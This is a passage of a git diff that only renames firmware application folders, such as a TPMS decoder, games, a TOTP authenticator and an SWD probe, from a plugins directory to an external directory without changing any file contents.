applications/external/protoview/protocols/tpms/citroen.c diff --git a/applications/plugins/protoview/protocols/tpms/ford.c b/applications/external/protoview/protocols/tpms/ford.c similarity index 100% rename from applications/plugins/protoview/protocols/tpms/ford.c rename to applications/external/protoview/protocols/tpms/ford.c diff --git a/applications/plugins/protoview/protocols/tpms/renault.c b/applications/external/protoview/protocols/tpms/renault.c similarity index 100% rename from applications/plugins/protoview/protocols/tpms/renault.c rename to applications/external/protoview/protocols/tpms/renault.c diff --git a/applications/plugins/protoview/protocols/tpms/schrader.c b/applications/external/protoview/protocols/tpms/schrader.c similarity index 100% rename from applications/plugins/protoview/protocols/tpms/schrader.c rename to applications/external/protoview/protocols/tpms/schrader.c diff --git a/applications/plugins/protoview/protocols/tpms/schrader_eg53ma4.c b/applications/external/protoview/protocols/tpms/schrader_eg53ma4.c similarity index 100% rename from applications/plugins/protoview/protocols/tpms/schrader_eg53ma4.c rename to applications/external/protoview/protocols/tpms/schrader_eg53ma4.c diff --git a/applications/plugins/protoview/protocols/tpms/toyota.c b/applications/external/protoview/protocols/tpms/toyota.c similarity index 100% rename from applications/plugins/protoview/protocols/tpms/toyota.c rename to applications/external/protoview/protocols/tpms/toyota.c diff --git a/applications/plugins/protoview/protocols/unknown.c b/applications/external/protoview/protocols/unknown.c similarity index 100% rename from applications/plugins/protoview/protocols/unknown.c rename to applications/external/protoview/protocols/unknown.c diff --git a/applications/plugins/protoview/raw_samples.c b/applications/external/protoview/raw_samples.c similarity index 100% rename from applications/plugins/protoview/raw_samples.c rename to applications/external/protoview/raw_samples.c diff --git a/applications/plugins/protoview/raw_samples.h b/applications/external/protoview/raw_samples.h similarity index 100% rename from applications/plugins/protoview/raw_samples.h rename to applications/external/protoview/raw_samples.h diff --git a/applications/plugins/protoview/signal.c b/applications/external/protoview/signal.c similarity index 100% rename from applications/plugins/protoview/signal.c rename to applications/external/protoview/signal.c diff --git a/applications/plugins/protoview/signal_file.c b/applications/external/protoview/signal_file.c similarity index 100% rename from applications/plugins/protoview/signal_file.c rename to applications/external/protoview/signal_file.c diff --git a/applications/plugins/protoview/ui.c b/applications/external/protoview/ui.c similarity index 100% rename from applications/plugins/protoview/ui.c rename to applications/external/protoview/ui.c diff --git a/applications/plugins/protoview/view_build.c b/applications/external/protoview/view_build.c similarity index 100% rename from applications/plugins/protoview/view_build.c rename to applications/external/protoview/view_build.c diff --git a/applications/plugins/protoview/view_direct_sampling.c b/applications/external/protoview/view_direct_sampling.c similarity index 100% rename from applications/plugins/protoview/view_direct_sampling.c rename to applications/external/protoview/view_direct_sampling.c diff --git a/applications/plugins/protoview/view_info.c b/applications/external/protoview/view_info.c similarity index 100% rename from applications/plugins/protoview/view_info.c rename to applications/external/protoview/view_info.c diff --git a/applications/plugins/protoview/view_raw_signal.c b/applications/external/protoview/view_raw_signal.c similarity index 100% rename from applications/plugins/protoview/view_raw_signal.c rename to applications/external/protoview/view_raw_signal.c diff --git a/applications/plugins/protoview/view_settings.c b/applications/external/protoview/view_settings.c similarity index 100% rename from applications/plugins/protoview/view_settings.c rename to applications/external/protoview/view_settings.c diff --git a/applications/plugins/sentry_safe/application.fam b/applications/external/sentry_safe/application.fam similarity index 100% rename from applications/plugins/sentry_safe/application.fam rename to applications/external/sentry_safe/application.fam diff --git a/applications/plugins/sentry_safe/safe_10px.png b/applications/external/sentry_safe/safe_10px.png similarity index 100% rename from applications/plugins/sentry_safe/safe_10px.png rename to applications/external/sentry_safe/safe_10px.png diff --git a/applications/plugins/sentry_safe/sentry_safe.c b/applications/external/sentry_safe/sentry_safe.c similarity index 100% rename from applications/plugins/sentry_safe/sentry_safe.c rename to applications/external/sentry_safe/sentry_safe.c diff --git a/applications/plugins/solitaire/application.fam b/applications/external/solitaire/application.fam similarity index 100% rename from applications/plugins/solitaire/application.fam rename to applications/external/solitaire/application.fam diff --git a/applications/plugins/solitaire/assets/card_graphics.png b/applications/external/solitaire/assets/card_graphics.png similarity index 100% rename from applications/plugins/solitaire/assets/card_graphics.png rename to applications/external/solitaire/assets/card_graphics.png diff --git a/applications/plugins/solitaire/assets/solitaire_main.png b/applications/external/solitaire/assets/solitaire_main.png similarity index 100% rename from applications/plugins/solitaire/assets/solitaire_main.png rename to applications/external/solitaire/assets/solitaire_main.png diff --git a/applications/plugins/solitaire/common/card.c b/applications/external/solitaire/common/card.c similarity index 100% rename from applications/plugins/solitaire/common/card.c rename to applications/external/solitaire/common/card.c diff --git a/applications/plugins/solitaire/common/card.h b/applications/external/solitaire/common/card.h similarity index 100% rename from applications/plugins/solitaire/common/card.h rename to applications/external/solitaire/common/card.h diff --git a/applications/plugins/solitaire/common/dml.c b/applications/external/solitaire/common/dml.c similarity index 100% rename from applications/plugins/solitaire/common/dml.c rename to applications/external/solitaire/common/dml.c diff --git a/applications/plugins/solitaire/common/dml.h b/applications/external/solitaire/common/dml.h similarity index 100% rename from applications/plugins/solitaire/common/dml.h rename to applications/external/solitaire/common/dml.h diff --git a/applications/plugins/solitaire/common/menu.c b/applications/external/solitaire/common/menu.c similarity index 100% rename from applications/plugins/solitaire/common/menu.c rename to applications/external/solitaire/common/menu.c diff --git a/applications/plugins/solitaire/common/menu.h b/applications/external/solitaire/common/menu.h similarity index 100% rename from applications/plugins/solitaire/common/menu.h rename to applications/external/solitaire/common/menu.h diff --git a/applications/plugins/solitaire/common/queue.c b/applications/external/solitaire/common/queue.c similarity index 100% rename from applications/plugins/solitaire/common/queue.c rename to applications/external/solitaire/common/queue.c diff --git a/applications/plugins/solitaire/common/queue.h b/applications/external/solitaire/common/queue.h similarity index 100% rename from applications/plugins/solitaire/common/queue.h rename to applications/external/solitaire/common/queue.h diff --git a/applications/plugins/solitaire/common/ui.c b/applications/external/solitaire/common/ui.c similarity index 100% rename from applications/plugins/solitaire/common/ui.c rename to applications/external/solitaire/common/ui.c diff --git a/applications/plugins/solitaire/common/ui.h b/applications/external/solitaire/common/ui.h similarity index 100% rename from applications/plugins/solitaire/common/ui.h rename to applications/external/solitaire/common/ui.h diff --git a/applications/plugins/solitaire/defines.h b/applications/external/solitaire/defines.h similarity index 100% rename from applications/plugins/solitaire/defines.h rename to applications/external/solitaire/defines.h diff --git a/applications/plugins/solitaire/solitaire.c b/applications/external/solitaire/solitaire.c similarity index 100% rename from applications/plugins/solitaire/solitaire.c rename to applications/external/solitaire/solitaire.c diff --git a/applications/plugins/solitaire/solitaire_10px.png b/applications/external/solitaire/solitaire_10px.png similarity index 100% rename from applications/plugins/solitaire/solitaire_10px.png rename to applications/external/solitaire/solitaire_10px.png diff --git a/applications/plugins/spectrum_analyzer/application.fam b/applications/external/spectrum_analyzer/application.fam similarity index 100% rename from applications/plugins/spectrum_analyzer/application.fam rename to applications/external/spectrum_analyzer/application.fam diff --git a/applications/plugins/spectrum_analyzer/spectrum_10px.png b/applications/external/spectrum_analyzer/spectrum_10px.png similarity index 100% rename from applications/plugins/spectrum_analyzer/spectrum_10px.png rename to applications/external/spectrum_analyzer/spectrum_10px.png diff --git a/applications/plugins/spectrum_analyzer/spectrum_analyzer.c b/applications/external/spectrum_analyzer/spectrum_analyzer.c similarity index 100% rename from applications/plugins/spectrum_analyzer/spectrum_analyzer.c rename to applications/external/spectrum_analyzer/spectrum_analyzer.c diff --git a/applications/plugins/spectrum_analyzer/spectrum_analyzer.h b/applications/external/spectrum_analyzer/spectrum_analyzer.h similarity index 100% rename from applications/plugins/spectrum_analyzer/spectrum_analyzer.h rename to applications/external/spectrum_analyzer/spectrum_analyzer.h diff --git a/applications/plugins/spectrum_analyzer/spectrum_analyzer_worker.c b/applications/external/spectrum_analyzer/spectrum_analyzer_worker.c similarity index 100% rename from applications/plugins/spectrum_analyzer/spectrum_analyzer_worker.c rename to applications/external/spectrum_analyzer/spectrum_analyzer_worker.c diff --git a/applications/plugins/spectrum_analyzer/spectrum_analyzer_worker.h b/applications/external/spectrum_analyzer/spectrum_analyzer_worker.h similarity index 100% rename from applications/plugins/spectrum_analyzer/spectrum_analyzer_worker.h rename to applications/external/spectrum_analyzer/spectrum_analyzer_worker.h diff --git a/applications/plugins/subbrute b/applications/external/subbrute similarity index 100% rename from applications/plugins/subbrute rename to applications/external/subbrute diff --git a/applications/plugins/swd_probe/.gitignore b/applications/external/swd_probe/.gitignore similarity index 100% rename from applications/plugins/swd_probe/.gitignore rename to applications/external/swd_probe/.gitignore diff --git a/applications/plugins/swd_probe/LICENSE.txt b/applications/external/swd_probe/LICENSE.txt similarity index 100% rename from applications/plugins/swd_probe/LICENSE.txt rename to applications/external/swd_probe/LICENSE.txt diff --git a/applications/plugins/swd_probe/README.md b/applications/external/swd_probe/README.md similarity index 100% rename from applications/plugins/swd_probe/README.md rename to applications/external/swd_probe/README.md diff --git a/applications/plugins/swd_probe/adi.c b/applications/external/swd_probe/adi.c similarity index 100% rename from applications/plugins/swd_probe/adi.c rename to applications/external/swd_probe/adi.c diff --git a/applications/plugins/swd_probe/adi.h b/applications/external/swd_probe/adi.h similarity index 100% rename from applications/plugins/swd_probe/adi.h rename to applications/external/swd_probe/adi.h diff --git a/applications/plugins/swd_probe/application.fam b/applications/external/swd_probe/application.fam similarity index 100% rename from applications/plugins/swd_probe/application.fam rename to applications/external/swd_probe/application.fam diff --git a/applications/plugins/swd_probe/icons/ButtonDown_7x4.png b/applications/external/swd_probe/icons/ButtonDown_7x4.png similarity index 100% rename from applications/plugins/swd_probe/icons/ButtonDown_7x4.png rename to applications/external/swd_probe/icons/ButtonDown_7x4.png diff --git a/applications/plugins/swd_probe/icons/ButtonUp_7x4.png b/applications/external/swd_probe/icons/ButtonUp_7x4.png similarity index 100% rename from applications/plugins/swd_probe/icons/ButtonUp_7x4.png rename to applications/external/swd_probe/icons/ButtonUp_7x4.png diff --git a/applications/plugins/swd_probe/icons/app.png b/applications/external/swd_probe/icons/app.png similarity index 100% rename from applications/plugins/swd_probe/icons/app.png rename to applications/external/swd_probe/icons/app.png diff --git a/applications/plugins/swd_probe/icons/swd.png b/applications/external/swd_probe/icons/swd.png similarity index 100% rename from applications/plugins/swd_probe/icons/swd.png rename to applications/external/swd_probe/icons/swd.png diff --git a/applications/plugins/swd_probe/jep106.c b/applications/external/swd_probe/jep106.c similarity index 100% rename from applications/plugins/swd_probe/jep106.c rename to applications/external/swd_probe/jep106.c diff --git a/applications/plugins/swd_probe/jep106.h b/applications/external/swd_probe/jep106.h similarity index 100% rename from applications/plugins/swd_probe/jep106.h rename to applications/external/swd_probe/jep106.h diff --git a/applications/plugins/swd_probe/jep106.inc b/applications/external/swd_probe/jep106.inc similarity index 100% rename from applications/plugins/swd_probe/jep106.inc rename to applications/external/swd_probe/jep106.inc diff --git a/applications/plugins/swd_probe/model/chip.ply b/applications/external/swd_probe/model/chip.ply similarity index 100% rename from applications/plugins/swd_probe/model/chip.ply rename to applications/external/swd_probe/model/chip.ply diff --git a/applications/plugins/swd_probe/model/convert.py b/applications/external/swd_probe/model/convert.py similarity index 100% rename from applications/plugins/swd_probe/model/convert.py rename to applications/external/swd_probe/model/convert.py diff --git a/applications/plugins/swd_probe/model/model_chip.h b/applications/external/swd_probe/model/model_chip.h similarity index 100% rename from applications/plugins/swd_probe/model/model_chip.h rename to applications/external/swd_probe/model/model_chip.h diff --git a/applications/plugins/swd_probe/swd_probe_app.c b/applications/external/swd_probe/swd_probe_app.c similarity index 100% rename from applications/plugins/swd_probe/swd_probe_app.c rename to applications/external/swd_probe/swd_probe_app.c diff --git a/applications/plugins/swd_probe/swd_probe_app.h b/applications/external/swd_probe/swd_probe_app.h similarity index 100% rename from applications/plugins/swd_probe/swd_probe_app.h rename to applications/external/swd_probe/swd_probe_app.h diff --git a/applications/plugins/swd_probe/usb_uart.c b/applications/external/swd_probe/usb_uart.c similarity index 100% rename from applications/plugins/swd_probe/usb_uart.c rename to applications/external/swd_probe/usb_uart.c diff --git a/applications/plugins/swd_probe/usb_uart.h b/applications/external/swd_probe/usb_uart.h similarity index 100% rename from applications/plugins/swd_probe/usb_uart.h rename to applications/external/swd_probe/usb_uart.h diff --git a/applications/plugins/tetris_game/application.fam b/applications/external/tetris_game/application.fam similarity index 100% rename from applications/plugins/tetris_game/application.fam rename to applications/external/tetris_game/application.fam diff --git a/applications/plugins/tetris_game/tetris_10px.png b/applications/external/tetris_game/tetris_10px.png similarity index 100% rename from applications/plugins/tetris_game/tetris_10px.png rename to applications/external/tetris_game/tetris_10px.png diff --git a/applications/plugins/tetris_game/tetris_game.c b/applications/external/tetris_game/tetris_game.c similarity index 100% rename from applications/plugins/tetris_game/tetris_game.c rename to applications/external/tetris_game/tetris_game.c diff --git a/applications/plugins/text_viewer/LICENSE b/applications/external/text_viewer/LICENSE similarity index 100% rename from applications/plugins/text_viewer/LICENSE rename to applications/external/text_viewer/LICENSE diff --git a/applications/plugins/text_viewer/README.md b/applications/external/text_viewer/README.md similarity index 100% rename from applications/plugins/text_viewer/README.md rename to applications/external/text_viewer/README.md diff --git a/applications/plugins/text_viewer/application.fam b/applications/external/text_viewer/application.fam similarity index 100% rename from applications/plugins/text_viewer/application.fam rename to applications/external/text_viewer/application.fam diff --git a/applications/plugins/text_viewer/icons/text_10px.png b/applications/external/text_viewer/icons/text_10px.png similarity index 100% rename from applications/plugins/text_viewer/icons/text_10px.png rename to applications/external/text_viewer/icons/text_10px.png diff --git a/applications/plugins/text_viewer/text_viewer.c b/applications/external/text_viewer/text_viewer.c similarity index 100% rename from applications/plugins/text_viewer/text_viewer.c rename to applications/external/text_viewer/text_viewer.c diff --git a/applications/plugins/text_viewer/textviewerflipper.PNG b/applications/external/text_viewer/textviewerflipper.PNG similarity index 100% rename from applications/plugins/text_viewer/textviewerflipper.PNG rename to applications/external/text_viewer/textviewerflipper.PNG diff --git a/applications/plugins/tictactoe_game/application.fam b/applications/external/tictactoe_game/application.fam similarity index 100% rename from applications/plugins/tictactoe_game/application.fam rename to applications/external/tictactoe_game/application.fam diff --git a/applications/plugins/tictactoe_game/tictactoe_10px.png b/applications/external/tictactoe_game/tictactoe_10px.png similarity index 100% rename from applications/plugins/tictactoe_game/tictactoe_10px.png rename to applications/external/tictactoe_game/tictactoe_10px.png diff --git a/applications/plugins/tictactoe_game/tictactoe_game.c b/applications/external/tictactoe_game/tictactoe_game.c similarity index 100% rename from applications/plugins/tictactoe_game/tictactoe_game.c rename to applications/external/tictactoe_game/tictactoe_game.c diff --git a/applications/plugins/totp/LICENSE b/applications/external/totp/LICENSE similarity index 100% rename from applications/plugins/totp/LICENSE rename to applications/external/totp/LICENSE diff --git a/applications/plugins/totp/application.fam b/applications/external/totp/application.fam similarity index 100% rename from applications/plugins/totp/application.fam rename to applications/external/totp/application.fam diff --git a/applications/plugins/totp/cli/cli.c b/applications/external/totp/cli/cli.c similarity index 100% rename from applications/plugins/totp/cli/cli.c rename to applications/external/totp/cli/cli.c diff --git a/applications/plugins/totp/cli/cli.h b/applications/external/totp/cli/cli.h similarity index 100% rename from applications/plugins/totp/cli/cli.h rename to applications/external/totp/cli/cli.h diff --git a/applications/plugins/totp/cli/cli_helpers.c b/applications/external/totp/cli/cli_helpers.c similarity index 100% rename from applications/plugins/totp/cli/cli_helpers.c rename to applications/external/totp/cli/cli_helpers.c diff --git a/applications/plugins/totp/cli/cli_helpers.h b/applications/external/totp/cli/cli_helpers.h similarity index 100% rename from applications/plugins/totp/cli/cli_helpers.h rename to applications/external/totp/cli/cli_helpers.h diff --git a/applications/plugins/totp/cli/commands/add/add.c b/applications/external/totp/cli/commands/add/add.c similarity index 100% rename from applications/plugins/totp/cli/commands/add/add.c rename to applications/external/totp/cli/commands/add/add.c diff --git a/applications/plugins/totp/cli/commands/add/add.h b/applications/external/totp/cli/commands/add/add.h similarity index 100% rename from applications/plugins/totp/cli/commands/add/add.h rename to applications/external/totp/cli/commands/add/add.h diff --git a/applications/plugins/totp/cli/commands/delete/delete.c b/applications/external/totp/cli/commands/delete/delete.c similarity index 100% rename from applications/plugins/totp/cli/commands/delete/delete.c rename to applications/external/totp/cli/commands/delete/delete.c diff --git a/applications/plugins/totp/cli/commands/delete/delete.h b/applications/external/totp/cli/commands/delete/delete.h similarity index 100% rename from applications/plugins/totp/cli/commands/delete/delete.h rename to applications/external/totp/cli/commands/delete/delete.h diff --git a/applications/plugins/totp/cli/commands/help/help.c b/applications/external/totp/cli/commands/help/help.c similarity index 100% rename from applications/plugins/totp/cli/commands/help/help.c rename to applications/external/totp/cli/commands/help/help.c diff --git a/applications/plugins/totp/cli/commands/help/help.h b/applications/external/totp/cli/commands/help/help.h similarity index 100% rename from applications/plugins/totp/cli/commands/help/help.h rename to applications/external/totp/cli/commands/help/help.h diff --git a/applications/plugins/totp/cli/commands/list/list.c b/applications/external/totp/cli/commands/list/list.c similarity index 100% rename from applications/plugins/totp/cli/commands/list/list.c rename to applications/external/totp/cli/commands/list/list.c diff --git a/applications/plugins/totp/cli/commands/list/list.h b/applications/external/totp/cli/commands/list/list.h similarity index 100% rename from applications/plugins/totp/cli/commands/list/list.h rename to applications/external/totp/cli/commands/list/list.h diff --git a/applications/plugins/totp/cli/commands/move/move.c b/applications/external/totp/cli/commands/move/move.c similarity index 100% rename from applications/plugins/totp/cli/commands/move/move.c rename to applications/external/totp/cli/commands/move/move.c diff --git a/applications/plugins/totp/cli/commands/move/move.h b/applications/external/totp/cli/commands/move/move.h similarity index 100% rename from applications/plugins/totp/cli/commands/move/move.h rename to applications/external/totp/cli/commands/move/move.h diff --git a/applications/plugins/totp/cli/commands/notification/notification.c b/applications/external/totp/cli/commands/notification/notification.c similarity index 100% rename from applications/plugins/totp/cli/commands/notification/notification.c rename to applications/external/totp/cli/commands/notification/notification.c diff --git a/applications/plugins/totp/cli/commands/notification/notification.h b/applications/external/totp/cli/commands/notification/notification.h similarity index 100% rename from applications/plugins/totp/cli/commands/notification/notification.h rename to applications/external/totp/cli/commands/notification/notification.h diff --git a/applications/plugins/totp/cli/commands/pin/pin.c b/applications/external/totp/cli/commands/pin/pin.c similarity index 100% rename from applications/plugins/totp/cli/commands/pin/pin.c rename to applications/external/totp/cli/commands/pin/pin.c diff --git a/applications/plugins/totp/cli/commands/pin/pin.h b/applications/external/totp/cli/commands/pin/pin.h similarity index 100% rename from applications/plugins/totp/cli/commands/pin/pin.h rename to applications/external/totp/cli/commands/pin/pin.h diff --git a/applications/plugins/totp/cli/commands/reset/reset.c b/applications/external/totp/cli/commands/reset/reset.c similarity index 100% rename from applications/plugins/totp/cli/commands/reset/reset.c rename to applications/external/totp/cli/commands/reset/reset.c diff --git a/applications/plugins/totp/cli/commands/reset/reset.h b/applications/external/totp/cli/commands/reset/reset.h similarity index 100% rename from applications/plugins/totp/cli/commands/reset/reset.h rename to applications/external/totp/cli/commands/reset/reset.h diff --git a/applications/plugins/totp/cli/commands/timezone/timezone.c b/applications/external/totp/cli/commands/timezone/timezone.c similarity index 100% rename from applications/plugins/totp/cli/commands/timezone/timezone.c rename to applications/external/totp/cli/commands/timezone/timezone.c diff --git a/applications/plugins/totp/cli/commands/timezone/timezone.h b/applications/external/totp/cli/commands/timezone/timezone.h similarity index 100% rename from applications/plugins/totp/cli/commands/timezone/timezone.h rename to applications/external/totp/cli/commands/timezone/timezone.h diff --git a/applications/plugins/totp/images/DolphinCommon_56x48.png b/applications/external/totp/images/DolphinCommon_56x48.png similarity index 100% rename from applications/plugins/totp/images/DolphinCommon_56x48.png rename to applications/external/totp/images/DolphinCommon_56x48.png diff --git a/applications/plugins/totp/images/totp_arrow_bottom_10x5.png b/applications/external/totp/images/totp_arrow_bottom_10x5.png similarity index 100% rename from applications/plugins/totp/images/totp_arrow_bottom_10x5.png rename to applications/external/totp/images/totp_arrow_bottom_10x5.png diff --git a/applications/plugins/totp/images/totp_arrow_left_8x9.png b/applications/external/totp/images/totp_arrow_left_8x9.png similarity index 100% rename from applications/plugins/totp/images/totp_arrow_left_8x9.png rename to applications/external/totp/images/totp_arrow_left_8x9.png diff --git a/applications/plugins/totp/images/totp_arrow_right_8x9.png b/applications/external/totp/images/totp_arrow_right_8x9.png similarity index 100% rename from applications/plugins/totp/images/totp_arrow_right_8x9.png rename to applications/external/totp/images/totp_arrow_right_8x9.png diff --git a/applications/plugins/totp/lib/base32/base32.c b/applications/external/totp/lib/base32/base32.c similarity index 100% rename from applications/plugins/totp/lib/base32/base32.c rename to applications/external/totp/lib/base32/base32.c diff --git a/applications/plugins/totp/lib/base32/base32.h b/applications/external/totp/lib/base32/base32.h similarity index 100% rename from applications/plugins/totp/lib/base32/base32.h rename to applications/external/totp/lib/base32/base32.h diff --git a/applications/plugins/totp/lib/list/list.c b/applications/external/totp/lib/list/list.c similarity index 100% rename from applications/plugins/totp/lib/list/list.c rename to applications/external/totp/lib/list/list.c diff --git a/applications/plugins/totp/lib/list/list.h b/applications/external/totp/lib/list/list.h similarity index 100% rename from applications/plugins/totp/lib/list/list.h rename to applications/external/totp/lib/list/list.h diff --git a/applications/plugins/totp/lib/polyfills/memset_s.c b/applications/external/totp/lib/polyfills/memset_s.c similarity index 100% rename from applications/plugins/totp/lib/polyfills/memset_s.c rename to applications/external/totp/lib/polyfills/memset_s.c diff --git a/applications/plugins/totp/lib/polyfills/memset_s.h b/applications/external/totp/lib/polyfills/memset_s.h similarity index 100% rename from applications/plugins/totp/lib/polyfills/memset_s.h rename to applications/external/totp/lib/polyfills/memset_s.h diff --git a/applications/plugins/totp/lib/polyfills/strnlen.c b/applications/external/totp/lib/polyfills/strnlen.c similarity index 100% rename from applications/plugins/totp/lib/polyfills/strnlen.c rename to applications/external/totp/lib/polyfills/strnlen.c diff --git a/applications/plugins/totp/lib/polyfills/strnlen.h b/applications/external/totp/lib/polyfills/strnlen.h similarity index 100% rename from applications/plugins/totp/lib/polyfills/strnlen.h rename to applications/external/totp/lib/polyfills/strnlen.h diff --git a/applications/plugins/totp/lib/roll_value/roll_value.c b/applications/external/totp/lib/roll_value/roll_value.c similarity index 100% rename from applications/plugins/totp/lib/roll_value/roll_value.c rename to applications/external/totp/lib/roll_value/roll_value.c diff --git a/applications/plugins/totp/lib/roll_value/roll_value.h b/applications/external/totp/lib/roll_value/roll_value.h similarity index 100% rename from applications/plugins/totp/lib/roll_value/roll_value.h rename to applications/external/totp/lib/roll_value/roll_value.h diff --git a/applications/plugins/totp/lib/timezone_utils/timezone_utils.c b/applications/external/totp/lib/timezone_utils/timezone_utils.c similarity index 100% rename from applications/plugins/totp/lib/timezone_utils/timezone_utils.c rename to applications/external/totp/lib/timezone_utils/timezone_utils.c diff --git a/applications/plugins/totp/lib/timezone_utils/timezone_utils.h b/applications/external/totp/lib/timezone_utils/timezone_utils.h similarity index 100% rename from applications/plugins/totp/lib/timezone_utils/timezone_utils.h rename to applications/external/totp/lib/timezone_utils/timezone_utils.h diff --git a/applications/plugins/totp/services/config/config.c b/applications/external/totp/services/config/config.c similarity index 100% rename from applications/plugins/totp/services/config/config.c rename to applications/external/totp/services/config/config.c diff --git a/applications/plugins/totp/services/config/config.h b/applications/external/totp/services/config/config.h similarity index 100% rename from applications/plugins/totp/services/config/config.h rename to applications/external/totp/services/config/config.h diff --git a/applications/plugins/totp/services/config/constants.h b/applications/external/totp/services/config/constants.h similarity index 100% rename from applications/plugins/totp/services/config/constants.h rename to applications/external/totp/services/config/constants.h diff --git a/applications/plugins/totp/services/config/migrations/config_migration_v1_to_v2.c b/applications/external/totp/services/config/migrations/config_migration_v1_to_v2.c similarity index 100% rename from applications/plugins/totp/services/config/migrations/config_migration_v1_to_v2.c rename to applications/external/totp/services/config/migrations/config_migration_v1_to_v2.c diff --git a/applications/plugins/totp/services/config/migrations/config_migration_v1_to_v2.h b/applications/external/totp/services/config/migrations/config_migration_v1_to_v2.h similarity index 100% rename from applications/plugins/totp/services/config/migrations/config_migration_v1_to_v2.h rename to applications/external/totp/services/config/migrations/config_migration_v1_to_v2.h diff --git a/applications/plugins/totp/services/config/migrations/config_migration_v2_to_v3.c b/applications/external/totp/services/config/migrations/config_migration_v2_to_v3.c similarity index 100% rename from applications/plugins/totp/services/config/migrations/config_migration_v2_to_v3.c rename to applications/external/totp/services/config/migrations/config_migration_v2_to_v3.c diff --git a/applications/plugins/totp/services/config/migrations/config_migration_v2_to_v3.h b/applications/external/totp/services/config/migrations/config_migration_v2_to_v3.h similarity index 100% rename from applications/plugins/totp/services/config/migrations/config_migration_v2_to_v3.h rename to applications/external/totp/services/config/migrations/config_migration_v2_to_v3.h diff --git a/applications/plugins/totp/services/convert/convert.h b/applications/external/totp/services/convert/convert.h similarity index 100% rename from applications/plugins/totp/services/convert/convert.h rename to applications/external/totp/services/convert/convert.h diff --git a/applications/plugins/totp/services/crypto/crypto.c b/applications/external/totp/services/crypto/crypto.c similarity index 100% rename from applications/plugins/totp/services/crypto/crypto.c rename to applications/external/totp/services/crypto/crypto.c diff --git a/applications/plugins/totp/services/crypto/crypto.h b/applications/external/totp/services/crypto/crypto.h similarity index 100% rename from applications/plugins/totp/services/crypto/crypto.h rename to applications/external/totp/services/crypto/crypto.h diff --git a/applications/plugins/totp/services/hmac/byteswap.c b/applications/external/totp/services/hmac/byteswap.c similarity index 100% rename from applications/plugins/totp/services/hmac/byteswap.c rename to applications/external/totp/services/hmac/byteswap.c diff --git a/applications/plugins/totp/services/hmac/byteswap.h b/applications/external/totp/services/hmac/byteswap.h similarity index 100% rename from applications/plugins/totp/services/hmac/byteswap.h rename to applications/external/totp/services/hmac/byteswap.h diff --git a/applications/plugins/totp/services/hmac/hmac_common.h b/applications/external/totp/services/hmac/hmac_common.h similarity index 100% rename from applications/plugins/totp/services/hmac/hmac_common.h rename to applications/external/totp/services/hmac/hmac_common.h diff --git a/applications/plugins/totp/services/hmac/hmac_sha1.c b/applications/external/totp/services/hmac/hmac_sha1.c similarity index 100% rename from applications/plugins/totp/services/hmac/hmac_sha1.c rename to applications/external/totp/services/hmac/hmac_sha1.c diff --git a/applications/plugins/totp/services/hmac/hmac_sha1.h b/applications/external/totp/services/hmac/hmac_sha1.h similarity index 100% rename from applications/plugins/totp/services/hmac/hmac_sha1.h rename to applications/external/totp/services/hmac/hmac_sha1.h diff --git a/applications/plugins/totp/services/hmac/hmac_sha256.c b/applications/external/totp/services/hmac/hmac_sha256.c similarity index 100% rename from applications/plugins/totp/services/hmac/hmac_sha256.c rename to applications/external/totp/services/hmac/hmac_sha256.c diff --git a/applications/plugins/totp/services/hmac/hmac_sha256.h b/applications/external/totp/services/hmac/hmac_sha256.h similarity index 100% rename from applications/plugins/totp/services/hmac/hmac_sha256.h rename to applications/external/totp/services/hmac/hmac_sha256.h diff --git a/applications/plugins/totp/services/hmac/hmac_sha512.c b/applications/external/totp/services/hmac/hmac_sha512.c similarity index 100% rename from applications/plugins/totp/services/hmac/hmac_sha512.c rename to applications/external/totp/services/hmac/hmac_sha512.c diff --git a/applications/plugins/totp/services/hmac/hmac_sha512.h b/applications/external/totp/services/hmac/hmac_sha512.h similarity index 100% rename from applications/plugins/totp/services/hmac/hmac_sha512.h rename to applications/external/totp/services/hmac/hmac_sha512.h diff --git a/applications/plugins/totp/services/hmac/memxor.c b/applications/external/totp/services/hmac/memxor.c similarity index 100% rename from applications/plugins/totp/services/hmac/memxor.c rename to applications/external/totp/services/hmac/memxor.c diff --git a/applications/plugins/totp/services/hmac/memxor.h b/applications/external/totp/services/hmac/memxor.h similarity index 100% rename from applications/plugins/totp/services/hmac/memxor.h rename to applications/external/totp/services/hmac/memxor.h diff --git a/applications/plugins/totp/services/hmac/sha1.c b/applications/external/totp/services/hmac/sha1.c similarity index 100% rename from applications/plugins/totp/services/hmac/sha1.c rename to applications/external/totp/services/hmac/sha1.c diff --git a/applications/plugins/totp/services/hmac/sha1.h b/applications/external/totp/services/hmac/sha1.h similarity index 100% rename from applications/plugins/totp/services/hmac/sha1.h rename to applications/external/totp/services/hmac/sha1.h diff --git a/applications/plugins/totp/services/hmac/sha256.c b/applications/external/totp/services/hmac/sha256.c similarity index 100% rename from applications/plugins/totp/services/hmac/sha256.c rename to applications/external/totp/services/hmac/sha256.c diff --git a/applications/plugins/totp/services/hmac/sha256.h b/applications/external/totp/services/hmac/sha256.h similarity index 100% rename from applications/plugins/totp/services/hmac/sha256.h rename to applications/external/totp/services/hmac/sha256.h diff --git a/applications/plugins/totp/services/hmac/sha512.c b/applications/external/totp/services/hmac/sha512.c similarity index 100% rename from applications/plugins/totp/services/hmac/sha512.c rename to applications/external/totp/services/hmac/sha512.c diff --git a/applications/plugins/totp/services/hmac/sha512.h b/applications/external/totp/services/hmac/sha512.h similarity index 100% rename from applications/plugins/totp/services/hmac/sha512.h rename to applications/external/totp/services/hmac/sha512.h diff --git a/applications/plugins/totp/services/hmac/u64.h b/applications/external/totp/services/hmac/u64.h similarity index 100% rename from applications/plugins/totp/services/hmac/u64.h rename to applications/external/totp/services/hmac/u64.h diff --git a/applications/plugins/totp/services/totp/totp.c b/applications/external/totp/services/totp/totp.c similarity index 100% rename from applications/plugins/totp/services/totp/totp.c rename to applications/external/totp/services/totp/totp.c diff --git a/applications/plugins/totp/services/totp/totp.h b/applications/external/totp/services/totp/totp.h similarity index 100% rename from applications/plugins/totp/services/totp/totp.h rename to applications/external/totp/services/totp/totp.h diff --git a/applications/plugins/totp/totp_10px.png b/applications/external/totp/totp_10px.png similarity index 100% rename from applications/plugins/totp/totp_10px.png rename to applications/external/totp/totp_10px.png diff --git a/applications/plugins/totp/totp_app.c b/applications/external/totp/totp_app.c similarity index 100% rename from applications/plugins/totp/totp_app.c rename to applications/external/totp/totp_app.c diff --git a/applications/plugins/totp/types/common.h b/applications/external/totp/types/common.h similarity index 100% rename from applications/plugins/totp/types/common.h rename to applications/external/totp/types/common.h diff --git a/applications/plugins/totp/types/event_type.h 